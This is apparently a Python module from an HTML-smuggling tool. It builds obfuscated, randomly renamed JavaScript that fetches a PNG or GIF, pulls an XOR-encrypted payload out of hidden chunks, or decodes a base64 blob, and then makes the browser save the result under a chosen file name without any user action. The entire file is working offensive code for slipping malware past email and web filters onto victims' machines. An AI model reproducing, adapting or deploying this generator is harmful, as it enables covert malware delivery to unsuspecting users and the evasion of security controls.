from core.logging.debug import logging
from core.utilities.utils import RandomizeVar

def GetJS(EncodedString, OutputFileName, ImageEmbedType, ImageURL=None):
    logging.debug(f"Getting the Obfuscated JS Code")

    # Randomizing function and variable names (increased from 25 to 40 for higher entropy)
    random_vars = [RandomizeVar() for _ in range(40)]
    (function_name, binary_string, len_var, bytes_var, i_var, file_var, data_var, blob_var, a_var, url_var, x_var, y_var, z_var, b_var, c_var, d_var, complex_var, a1_var, func2_name, dd_var, dec_var, xk_var, xk, fenc_var, xd_var, extra1, extra2, extra3, extra4, extra5, extra6, extra7, extra8, extra9, extra10, extra11, extra12, extra13, extra14, extra15) = random_vars

    logging.debug(f"ImageURL: {ImageURL}")
    # Craft the JavaScript code (Minified)
    if ImageEmbedType == 'png':
        if ImageURL:
            JScode = f"""function {func2_name}({dd_var}, {xk_var}){{let {dec_var} = new Uint8Array({dd_var}.length);for (let i = 0; i < {dd_var}.length; i++) {{{dec_var}[i] = {dd_var}[i] ^ {xk_var}[i % {xk_var}.length];}}return {dec_var};}}function {function_name}({url_var}) {{const {x_var} = new XMLHttpRequest();{x_var}.open('GET', {url_var}, true);{x_var}.responseType = 'arraybuffer';{x_var}.onload = function() {{if ({x_var}.status === 200) {{const {binary_string} = {x_var}.response;const {data_var} = new DataView({binary_string});let {i_var} = 8;let {xk} = null;while ({i_var} < {binary_string}.byteLength) {{const {len_var} = {data_var}.getUint32({i_var});{i_var} += 4;const {y_var} = new Uint8Array({binary_string}, {i_var}, 4);const {z_var} = String.fromCharCode.apply(null, {y_var});{i_var} += 4;if ({z_var} === 'xkEy') {{{xk} = new Uint8Array({binary_string}, {i_var}, {len_var});}} else if ({z_var} === 'exEf' && {xk} !== null) {{const {fenc_var} = new Uint8Array({binary_string}, {i_var}, {len_var});const {file_var} = {func2_name}({fenc_var},{xk});const {blob_var} = new Blob([{file_var}], {{ type: 'application/octet-stream' }}), {a1_var} = document.createElement('a');{a1_var}.href = URL.createObjectURL({blob_var});{a1_var}.download = '{OutputFileName}';document.body.appendChild({a1_var});{a1_var}.click();URL.revokeObjectURL({a1_var}.href);document.body.removeChild({a1_var});return;}}{i_var} += {len_var} + 4;}}}}}};{x_var}.onerror = function(){{}};{x_var}.send();}}{function_name}('{ImageURL}');"""
        else:
            raise ValueError("URL must be provided for PNG embedding!")
    elif ImageEmbedType == 'gif':
        if ImageURL:
            JScode = f"""document.addEventListener("DOMContentLoaded", function() {{const {x_var} = new XMLHttpRequest();{x_var}.open('GET', '{ImageURL}', true);{x_var}.responseType = 'arraybuffer';{x_var}.onload = function() {{if ({x_var}.status === 200) {{const {a_var} = {x_var}.response;{function_name}({a_var});}}}};{x_var}.send();}});function {xd_var}({a_var}, {xk_var}) {{const {d_var} = new DataView({a_var}), {c_var} = new DataView({xk_var});for (let i = 0; i < {a_var}.byteLength; i++) {{const {bytes_var} = {d_var}.getUint8(i), {y_var} = {c_var}.getUint8(i % 16), {dec_var} = {bytes_var} ^ {y_var};{d_var}.setUint8(i, {dec_var});}}return {a_var};}}function {func2_name}({blob_var}, {file_var}) {{const {url_var} = window.URL.createObjectURL({blob_var}), {a1_var} = document.createElement('a');{a1_var}.style.display = 'none';{a1_var}.href = {url_var};{a1_var}.download = {file_var};document.body.appendChild({a1_var});{a1_var}.click();window.URL.revokeObjectURL({url_var});}}function {function_name}({binary_string}) {{let {z_var} = {binary_string}.byteLength - 2;const {d_var} = new DataView({binary_string}), {len_var} = {binary_string}.slice({z_var} - 4, {z_var}), {dd_var} = Array.from(new Uint8Array({len_var})).map(b => b.toString(16).padStart(2, '0')).join(''), {b_var} = parseInt({dd_var}, 16);let {i_var} = {z_var} - {b_var} - 8;let {xk}, {fenc_var};let {complex_var} = '';for (let i = 0; i < 4; i++) {{{complex_var} += String.fromCharCode({d_var}.getUint8({i_var}++));}}if ({complex_var} === 'exEf') {{{fenc_var} = {binary_string}.slice({i_var}, {z_var} - 4);}} else {{return;}}{complex_var} = '';{i_var} = {i_var} - 24;for (let i = 0; i < 4; i++) {{{complex_var} += String.fromCharCode({d_var}.getUint8({i_var}++));}}if ({complex_var} === 'xkEy') {{{xk} = new DataView({binary_string}.slice({i_var}, {i_var} + 16));}} else {{return;}}if ({xk} && {fenc_var}) {{const {data_var} = {xd_var}({fenc_var}, {xk}.buffer), blob = new Blob([{data_var}], {{ type: 'application/octet-stream' }});{func2_name}(blob, '{OutputFileName}');}}}}"""
        else:
            raise ValueError("URL must be provided for GIF embedding!")
    else:
        JScode = f"""function {function_name}(b){{var {x_var}=5,{y_var}=3,{z_var}=1,{a_var}=9,{b_var}=7,{c_var}=2,{d_var}=4;var {complex_var}=(({x_var}<<2)+({y_var}>>1)-{z_var})%13+(({a_var}&{b_var})|{c_var})^{d_var};var {binary_string}=atob(b);var {len_var}={binary_string}.length,{bytes_var}=new Uint8Array({len_var});for(var {i_var}=0;{i_var}<{len_var};{i_var}++){{{bytes_var}[{i_var}]={binary_string}.charCodeAt({i_var});}}var {blob_var}=new Blob([{bytes_var}],{{type:'application/octet-stream'}}),{url_var}=URL.createObjectURL({blob_var}),{a_var}=document.createElement('a');{a_var}.style='display:none',{a_var}.href={url_var},{a_var}.download='{OutputFileName}',document.body.appendChild({a_var}),{a_var}.click(),URL.revokeObjectURL({url_var})}}{function_name}('{EncodedString}');"""

    return JScode
